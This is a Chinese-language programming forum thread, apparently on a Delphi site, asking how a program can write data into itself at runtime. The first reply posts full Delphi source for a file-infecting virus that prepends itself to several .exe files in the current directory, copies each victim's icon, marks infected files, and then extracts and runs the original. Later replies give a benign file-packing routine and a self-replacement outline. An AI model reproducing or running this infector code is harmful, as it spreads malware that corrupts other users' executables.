我想在程序运行时向程序中写入一些字符信息。有源码参考吗?请大家指教!

解决方案 »

  1.   

    zt一段~~~没有验证过给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:)
    Code here://headerprj.dpr
    program headerprj;uses
      Windows,Classes,SysUtils,Graphics,ShellAPI;const
      HEADERSIZE=78336;
      ICONOFFSET=$11EB8;
      INFECTFLAG='Infected By SOJ';
      ID=$66666666;{$R *.RES}var
      tmpFile:string;
      si:STARTUPINFO;
      pi:PROCESS_INFORMATION;
      sr:TSearchRec;
      Counter:Integer;//routines
    procedure CopyStream(Src:TStream;sStartPos:Integer;
      Dst:TStream;dStartPos:Integer;Count:Integer);
    var
      sCurPos,dCurPos:Integer;
    begin
      sCurPos:=Src.Position;
      dCurPos:=Dst.Position;
      src.Seek(sStartPos,0);
      dst.Seek(dStartPos,0);
      dst.CopyFrom(src,Count);
      src.Seek(sCurPos,0);
      dst.Seek(dCurPos,0);
    end;{CopyStream}function Getmyname:string;
    var
    cmdline:String;
      myname:Array [0..255] of Char;
    i,j:integer;
    begin
      i:=1;j:=0;
      cmdline:=GetCommandLine;
      while cmdline[i]<>chr(0) do
      begin
       if cmdline[i]<>'"' then
        begin
        myname[j]:=cmdline[i];
          inc(j);
        end;
        inc(i);
      end;
      myname[j-1]:=chr(0);
      Result:=strpas(@myname);
    end;{Getmyname}function GetTempFullName:String;
    var
      tmpPath:Array[1..256]of Char;
      tmpname:Array[1..256]of Char;
    begin
      GetTempPath(256,@tmpPath);
      GetTempFileName(@tmpPath,'PQR',0,@tmpName);
      Result:=StrPas(@tmpName);
    end;{GetTempFullName}procedure ExtractFile(filename:string);
    var
      sStream,dStream:TFileStream;
    begin
      sStream:=TFileStream.Create(Getmyname,fmOpenRead or fmShareDenyNone);
      dStream:=TFileStream.Create(filename,fmCreate);
      sStream.Seek(HEADERSIZE,0);
      dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE);
      sStream.Free;
      dStream.Free;
    end;procedure fillstartupinfo(var si:STARTUPINFO;state:WORD);
    begin
    si.cb := sizeof(si);
    si.lpReserved := nil;
    si.lpDesktop := nil;
    si.lpTitle := nil;
    si.dwFlags := STARTF_USESHOWWINDOW;
    si.wShowWindow := state;
    si.cbReserved2 := 0;
    si.lpReserved2 := nil;
    end;function InfectFile(Filename:TFilename):Boolean;
    var
      hdrStream,srcStream:TFileStream;
      icoStream,dstStream:TMemoryStream;
      iID:Longint;
      aIcon:TIcon;
    begin
      try
      if Filename='headerprj.exe' then exit;
      srcStream:=TFileStream.Create(Filename,fmOpenRead);  srcStream.Seek(-4,2);
      srcStream.Read(iID,4);  if (iID=ID) or (srcStream.Size >1000000)then
      begin
        srcStream.Free;
        Result:=False;
        exit; //如果感染过了则退出
      end;
      srcStream.Free;  try
      icoStream:=TMemoryStream.Create;
      aIcon:=TIcon.Create;
      aIcon.ReleaseHandle;
      aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标
      aIcon.SaveToStream(icoStream);
      aIcon.Free;  srcStream:=TFileStream.Create(FileName,fmOpenRead);
      hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件
      dstStream:=TMemoryStream.Create;  CopyStream(hdrStream,0,dstStream,0,HEADERSIZE);
      CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8);
      CopyStream(srcStream,0,dstStream,HEADERSIZE,srcStream.Size);  dstStream.Seek(0,2);
      iID:=$66666666;
      dstStream.Write(iID,4);  finally
      icoStream.Free;
      srcStream.Free;
      hdrStream.Free;
      dstStream.SaveToFile(Filename);
      dstStream.Free;
      Result:=True;
      end;
      except;
      end;
    end;//主程序开始
    begin
      Counter:=2;
      if FindFirst('*.exe',faAnyFile,sr)=0 then
      begin
        InfectFile(sr.Name);
        while (FindNext(sr)=0) and (Counter>0) do
        begin
          if InfectFile(sr.Name) then Dec(Counter);
        end;
      end;
      FindClose(sr);
      if ExtractFileName(Getmyname)='headerprj.exe' then exit;
      tmpFile:=GetTempFullname;
      ExtractFile(tmpFile);
      fillstartupinfo(si,SW_SHOWDEFAULT);
      CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi);
    end.ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了
      

  2.   

    To jinjazz(近身剪(N-P攻略)) :   你给的是一段修改所有exe文件的代码,却不能在运行的时候修改程序自己。怕真能做成病毒啊
      

  3.   

    procedure TForm1.LockFile;
    var
      FsName, FtName, FbName, FCode: string;
      iTargetFile, iSourceFile: Integer;
      MyBuf: array[0..MaxBufferSize - 1] of Char;
      LockedFile: TLockedFile;
      NumRead, NumWritten: Integer;
      bSuccessed: Boolean;
    begin
        BusyStatus;{设置按钮无效,表示正忙}
        FsName := sExeFilename;{被加壳的文件名}
        FbName := FsName + '.TMP'; {被加壳文件的备份文件名}
        {附加代码的文件名}
        FCode := ExtractFilePath(paramstr(0))+'DialogPass.exe';
        if not fileexists(FCode) then
           raise exception.create(FCode+'文件没找到.');    {如果需要备份文件}
        if CheckBox1.Checked then
        begin
          CopyFile(FsName, FbName);
        end;
        iSourceFile := FileOpen(FsName, fmOpenRead or fmShareDenyNone);
        try
          with LockedFile do
          begin
            Flag := CFlag;{自定义的标志}
            Name := ExtractFileName(FsName);{文件名}
            Caption := '';{标题,保留没有使用}
            Password := StringEncrypt(sPassword);{密码}
            AdditionalCodeLen := GetFileSize2(FCode);{附加代码的长度}
          end;
          {临时文件是在被加壳文件名前加"__"}
          FtName := ExtractFilePath(FsName) + '__' + LockedFile.Name;
          CopyFile(FCode, FtName);{先拷贝附加代码}      {在附加代码之后写被加壳文件}
          bSuccessed := False;
          iTargetFile := FileOpen(FtName, fmOpenReadWrite);
          try
            {定位至目标文件的末尾}
            FileSeek(iTargetFile, 0, soFromEnd);
            repeat
              NumRead := FileRead(iSourceFile, MyBuf, SizeOf(MyBuf));
              NumWritten := FileWrite(iTargetFile, MyBuf, NumRead);
            until (NumRead = 0) or (NumWritten <> NumRead);
            {最后写上密码等信息}
            FileWrite(iTargetFile, LockedFile, SizeOf(LockedFile));
            bSuccessed := True;
            showmessage('文件加密完成');
          finally
            FileClose(iTargetFile);
          end;
        finally
          FileClose(iSourceFile);
        end;
        if bSuccessed then
        begin
          {删除被加壳的文件}
          DeleteFile(FsName);
          {把临时文件重命名为被加壳的文件}
          RenameFile(FtName, FsName);
        end;
        {重新检查文件是否已加壳}
        FileAddShellOrNot(EditFileName.Text);
    end;
      

  4.   

    不能
    只能这样:假设自身名称为A
    把自身复制到另一个位置或另一个文件名B,改写文件B,然后执行文件B,关闭A
    B删除A,把自己复制回来,并改名为A,执行新的A,删除B